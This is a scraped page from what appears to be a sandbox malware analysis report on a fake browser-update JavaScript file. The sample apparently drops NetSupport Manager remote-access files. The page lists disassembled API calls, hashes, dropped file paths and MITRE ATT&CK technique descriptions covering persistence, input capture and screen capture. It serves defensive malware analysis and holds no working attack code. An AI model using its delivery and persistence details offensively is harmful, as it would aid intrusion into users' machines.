Associated: 00000005.00000002.3341201363.00000000111F1000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.00000000111F7000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.000000001125D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.0000000011288000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.000000001129E000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.00000000112AD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.00000000112B4000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.00000000112DF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.000000001132B000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: ErrorExitKillLastMessageProcessTimerwsprintf
String ID: e:\nsmsrc\nsm\1210\1210f\ctl32\wndclass.h$m_hWnd
API String ID: 2229609774-2830328467
Opcode ID: 41ac2f8117c1c669daa6b7824a22dc0040faad1d84520ef1f3ec06ac7ff731c9
Instruction ID: 3936fa5a6487bcfb2675ba24450813cfe8c9b001fa673c8171921283ac7246b0
Opcode Fuzzy Hash: 41ac2f8117c1c669daa6b7824a22dc0040faad1d84520ef1f3ec06ac7ff731c9
Instruction Fuzzy Hash: C8D02BB66003287BD320D681DC41ED6F3CCD708354F004036F51956100D5B0E840C390

Function 1100D5E0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 19libraryCOMMON

Download Yara Rule

APIs

GetVersion.KERNEL32(1100D85E,?,00000000,?,1100CB7A,?), ref: 1100D5E9
LoadLibraryA.KERNEL32(AudioCapture.dll,?,1100CB7A,?), ref: 1100D5F8

Strings

AudioCapture.dll, xrefs: 1100D5F3

Memory Dump Source

Source File: 00000005.00000002.3341028149.0000000011001000.00000020.00000001.01000000.00000009.sdmp, Offset: 11000000, based on PE: true

Associated: 00000005.00000002.3341008570.0000000011000000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341142613.0000000011194000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341181272.00000000111E2000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341201363.00000000111F1000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.00000000111F7000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.000000001125D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.0000000011288000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.000000001129E000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.00000000112AD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.00000000112B4000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.00000000112DF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.000000001132B000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: LibraryLoadVersion
String ID: AudioCapture.dll
API String ID: 3209957514-2642820777
Opcode ID: 047088f675874291a047ed730703cd504129d7fac9f2a2c6fa5c74864475883a
Instruction ID: 371e9eeab2a9ec736c68531bc0ba6d51211132de28c640fd63a90ee5c1cea0f0
Opcode Fuzzy Hash: 047088f675874291a047ed730703cd504129d7fac9f2a2c6fa5c74864475883a
Instruction Fuzzy Hash: BEE0173CA411678BFB028BF98C4839D7AE0A70468DFC400B0E83AC2948FB698440CF20

Function 11113160 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 15windowCOMMON

Download Yara Rule

APIs

FindWindowA.USER32(MSOfficeWClass,00000000), ref: 1111316A
SendMessageA.USER32(00000000,00000414,00000000,00000000), ref: 11113180

Strings

MSOfficeWClass, xrefs: 11113165

Memory Dump Source

Source File: 00000005.00000002.3341028149.0000000011001000.00000020.00000001.01000000.00000009.sdmp, Offset: 11000000, based on PE: true

Associated: 00000005.00000002.3341008570.0000000011000000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341142613.0000000011194000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341181272.00000000111E2000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341201363.00000000111F1000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.00000000111F7000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.000000001125D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.0000000011288000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.000000001129E000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.00000000112AD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.00000000112B4000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.00000000112DF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.000000001132B000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: FindMessageSendWindow
String ID: MSOfficeWClass
API String ID: 1741975844-970895155
Opcode ID: 677dd944a9b37f0d248d1dc2443b6c9e227fd66e90a00cd9b08d5884c152e529
Instruction ID: 2732a125022ff7c0da3ed2a920369edb2684b905192db69b753ec1fccd0d92f1
Opcode Fuzzy Hash: 677dd944a9b37f0d248d1dc2443b6c9e227fd66e90a00cd9b08d5884c152e529
Instruction Fuzzy Hash: FAD0127078430C77E6141AE1DE4EF96FB6C9744B65F004028F7159E4C5EAB4B44087BC

Function 1115F310 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 15COMMON

Download Yara Rule

APIs

DestroyWindow.USER32(?,000000A8,110AC717), ref: 1115F338

Part of subcall function 11029A70: GetLastError.KERNEL32(?,00000000,?), ref: 11029A8C
Part of subcall function 11029A70: wsprintfA.USER32 ref: 11029AD7
Part of subcall function 11029A70: MessageBoxA.USER32(00000000,?,Client32,00000000), ref: 11029B13
Part of subcall function 11029A70: ExitProcess.KERNEL32 ref: 11029B29

Strings

m_hWnd, xrefs: 1115F323
..\ctl32\wndclass.cpp, xrefs: 1115F31E

Memory Dump Source

Source File: 00000005.00000002.3341028149.0000000011001000.00000020.00000001.01000000.00000009.sdmp, Offset: 11000000, based on PE: true

Associated: 00000005.00000002.3341008570.0000000011000000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341142613.0000000011194000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341181272.00000000111E2000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341201363.00000000111F1000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.00000000111F7000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.000000001125D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.0000000011288000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.000000001129E000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.00000000112AD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.00000000112B4000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.00000000112DF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.000000001132B000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: DestroyErrorExitLastMessageProcessWindowwsprintf
String ID: ..\ctl32\wndclass.cpp$m_hWnd
API String ID: 1417657345-2201682149
Opcode ID: 040279418c787453246ac35a00e20d52c99efbdfef44f19d6389bd7086f83bc2
Instruction ID: 7db3f745f54082ef040700b2ebbb9d394f22af4f20fbf84319d784bae123f924
Opcode Fuzzy Hash: 040279418c787453246ac35a00e20d52c99efbdfef44f19d6389bd7086f83bc2
Instruction Fuzzy Hash: 9CD0A770A503359BD7608A56EC86BC6F2D4AB1221CF044479E0A362551E270F584C681

Function 1101D390 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 14windowCOMMON

Download Yara Rule

APIs

GetMenu.USER32(00000000), ref: 1101D3B4

Part of subcall function 11029A70: GetLastError.KERNEL32(?,00000000,?), ref: 11029A8C
Part of subcall function 11029A70: wsprintfA.USER32 ref: 11029AD7
Part of subcall function 11029A70: MessageBoxA.USER32(00000000,?,Client32,00000000), ref: 11029B13
Part of subcall function 11029A70: ExitProcess.KERNEL32 ref: 11029B29

Strings

e:\nsmsrc\nsm\1210\1210f\ctl32\wndclass.h, xrefs: 1101D39E
m_hWnd, xrefs: 1101D3A3

Memory Dump Source

Source File: 00000005.00000002.3341028149.0000000011001000.00000020.00000001.01000000.00000009.sdmp, Offset: 11000000, based on PE: true

Associated: 00000005.00000002.3341008570.0000000011000000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341142613.0000000011194000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341181272.00000000111E2000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341201363.00000000111F1000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.00000000111F7000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.000000001125D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.0000000011288000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.000000001129E000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.00000000112AD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.00000000112B4000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.00000000112DF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.000000001132B000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: ErrorExitLastMenuMessageProcesswsprintf
String ID: e:\nsmsrc\nsm\1210\1210f\ctl32\wndclass.h$m_hWnd
API String ID: 1590435379-2830328467
Opcode ID: 1024b712624d312cdb50eec61baa504417252f83fa22596b784198089b8c0041
Instruction ID: 75955eb5d3bdaa86fb34179760e08c08bc775c18ff6c0b8e66661a9f5e9df206
Opcode Fuzzy Hash: 1024b712624d312cdb50eec61baa504417252f83fa22596b784198089b8c0041
Instruction Fuzzy Hash: 18D022B1D00235ABC700D662EC4ABC9F2C49B09318F004076F03666004E2B4E4808384

Description:	This technique has been deprecated. Please use Command and Scripting Interpreter where appropriate.
Tactics:	Defense Evasion, Execution
Data Sources:
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may obtain and abuse credentials of existing accounts as a means of gaining Initial Access, Persistence, Privilege Escalation, or Defense Evasion. Compromised credentials may be used to bypass access controls placed on various resources on systems within the network and may even be used for persistent access to remote systems and externally available services, such as VPNs, Outlook Web Access, network devices, and remote desktop.Compromised credentials may also grant an adversary increased privilege to specific systems or access to restricted areas of the network. Adversaries may choose not to use malware or tools in conjunction with the legitimate access those credentials provide to make it harder to detect their presence.
Tactics:	Defense Evasion, Initial Access, Persistence, Privilege Escalation
Data Sources:	Logon Session: Logon Session Creation, Logon Session: Logon Session Metadata, User Account: User Account Authentication
Platforms:	Azure AD, Containers, Google Workspace, IaaS, Linux, macOS, Network, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse Windows Management Instrumentation (WMI) to execute malicious commands and payloads. WMI is an administration feature that provides a uniform environment to access Windows system components. The WMI service enables both local and remote access, though the latter is facilitated by Remote Services such as Distributed Component Object Model (DCOM) and Windows Remote Management (WinRM).Remote WMI over DCOM operates using port 135, whereas WMI over WinRM operates over port 5985 when using HTTP and 5986 for HTTPS.
Tactics:	Execution
Data Sources:	Command: Command Execution, Network Traffic: Network Connection Creation, Process: Process Creation, WMI: WMI Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may exploit software vulnerabilities in client applications to execute code. Vulnerabilities can exist in software due to unsecure coding practices that can lead to unanticipated behavior. Adversaries can take advantage of certain vulnerabilities through targeted exploitation for the purpose of arbitrary code execution. Oftentimes the most valuable exploits to an offensive toolkit are those that can be used to obtain code execution on a remote system because they can be used to gain access to that system. Users will expect to see files related to the applications they commonly used to do work, so they are a useful target for exploit research and development because of their high utility.
Tactics:	Execution
Data Sources:	Application Log: Application Log Content, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse the Windows service control manager to execute malicious commands or payloads. The Windows service control manager ( `services.exe` ) is an interface to manage and manipulate services.The service control manager is accessible to users via GUI components as well as system utilities such as `sc.exe` and Net .
Tactics:	Execution
Data Sources:	Command: Command Execution, Network Traffic: Network Traffic Flow, Process: Process Creation, Service: Service Creation, Windows Registry: Windows Registry Key Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse PowerShell commands and scripts for execution. PowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system.Adversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code. Examples include the `Start-Process` cmdlet which can be used to run an executable and the `Invoke-Command` cmdlet which runs a command locally or on a remote computer (though administrator permissions are required to use PowerShell to connect to remote systems).
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may create or modify Windows services to repeatedly execute malicious payloads as part of persistence. When Windows boots up, it starts programs or applications called services that perform background system functions.Windows service configuration information, including the file path to the service's executable or recovery programs/commands, is stored in the Windows Registry.
Tactics:	Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, Driver: Driver Load, File: File Metadata, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Creation, Service: Service Creation, Service: Service Modification, Windows Registry: Windows Registry Key Creation, Windows Registry: Windows Registry Key Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may achieve persistence by adding a program to a startup folder or referencing it with a Registry run key. Adding an entry to the "run keys" in the Registry or startup folder will cause the program referenced to be executed when a user logs in.These programs will be executed under the context of the user and will have the account's associated permissions level.
Tactics:	Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, File: File Modification, Process: Process Creation, Windows Registry: Windows Registry Key Creation, Windows Registry: Windows Registry Key Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify access tokens to operate under a different user or system security context to perform actions and bypass access controls. Windows uses access tokens to determine the ownership of a running process. A user can manipulate access tokens to make a running process appear as though it is the child of a different process or belongs to someone other than the user that started the process. When this occurs, the process also takes on the security context associated with the new token.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	Active Directory: Active Directory Object Modification, Command: Command Execution, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, User Account: User Account Metadata
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use methods of capturing user input to obtain credentials or collect information. During normal system usage, users often provide credentials to various different locations, such as login pages/portals or system dialog boxes. Input capture mechanisms may be transparent to the user (e.g. Credential API Hooking ) or rely on deceiving the user into providing input into what they believe to be a genuine service (e.g. Web Portal Capture ).
Tactics:	Collection, Credential Access
Data Sources:	Driver: Driver Load, File: File Modification, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Windows Registry: Windows Registry Key Modification
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may gather the system time and/or time zone from a local or remote system. The system time is set and stored by the Windows Time Service within a domain to maintain time synchronization between systems and services in an enterprise network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Network, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report Update 124.0.6367.158.js

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Yara Signatures

PCAP (Network Traffic)

Dropped Files

Memory Dumps

Unpacked PEs

Other

Sigma Signatures

System Summary

Remote Access Functionality

Snort Signatures

Joe Sandbox Signatures

AV Detection

Cryptography

Compliance

Spreading

Software Vulnerabilities

Networking

Key, Mouse, Clipboard, Microphone and Screen Capturing

Spam, unwanted Advertisements and Ransom Demands

System Summary

Data Obfuscation

Persistence and Installation Behavior

Boot Survival

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\loca[1].htm

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\T9RRWRNL\updates[1].js

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_lssnfszl.x20.ps1

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_zfal1paw.eqx.psm1

C:\Users\user\AppData\Roaming\KYED2\HTCTL32.DLL

C:\Users\user\AppData\Roaming\KYED2\NSM.LIC

C:\Users\user\AppData\Roaming\KYED2\NSM.ini

C:\Users\user\AppData\Roaming\KYED2\PCICHEK.DLL

Windows Analysis Report
Update 124.0.6367.158.js

Description:	Adversaries may attempt to get a listing of valid accounts, usernames, or email addresses on a system or within a compromised environment. This information can help adversaries determine which accounts exist, which can aid in follow-on behavior such as brute-forcing, spear-phishing attacks, or account takeovers (e.g., Valid Accounts ).
Tactics:	Discovery
Data Sources:	Command: Command Execution, File: File Access, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to identify the primary user, currently logged in user, set of users that commonly uses a system, or whether a user is actively using the system. They may do this, for example, by retrieving account usernames or by using OS Credential Dumping . The information may be collected in a number of different ways using other Discovery techniques, because user and username details are prevalent throughout a system and include running process ownership, file/directory ownership, session information, and system logs. Adversaries may use the information from [System Owner/User Discovery](https://attack.mitre.org/techniques/T1033) during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to take screen captures of the desktop to gather information over the course of an operation. Screen capturing functionality may be included as a feature of a remote access tool used in post-compromise operations. Taking a screenshot is also typically possible through native utilities or API calls, such as `CopyFromScreen` , `xwd` , or `screencapture` .
Tactics:	Collection
Data Sources:	Command: Command Execution, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may collect data stored in the clipboard from users copying information within or between applications.
Tactics:	Collection
Data Sources:	Command: Command Execution, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre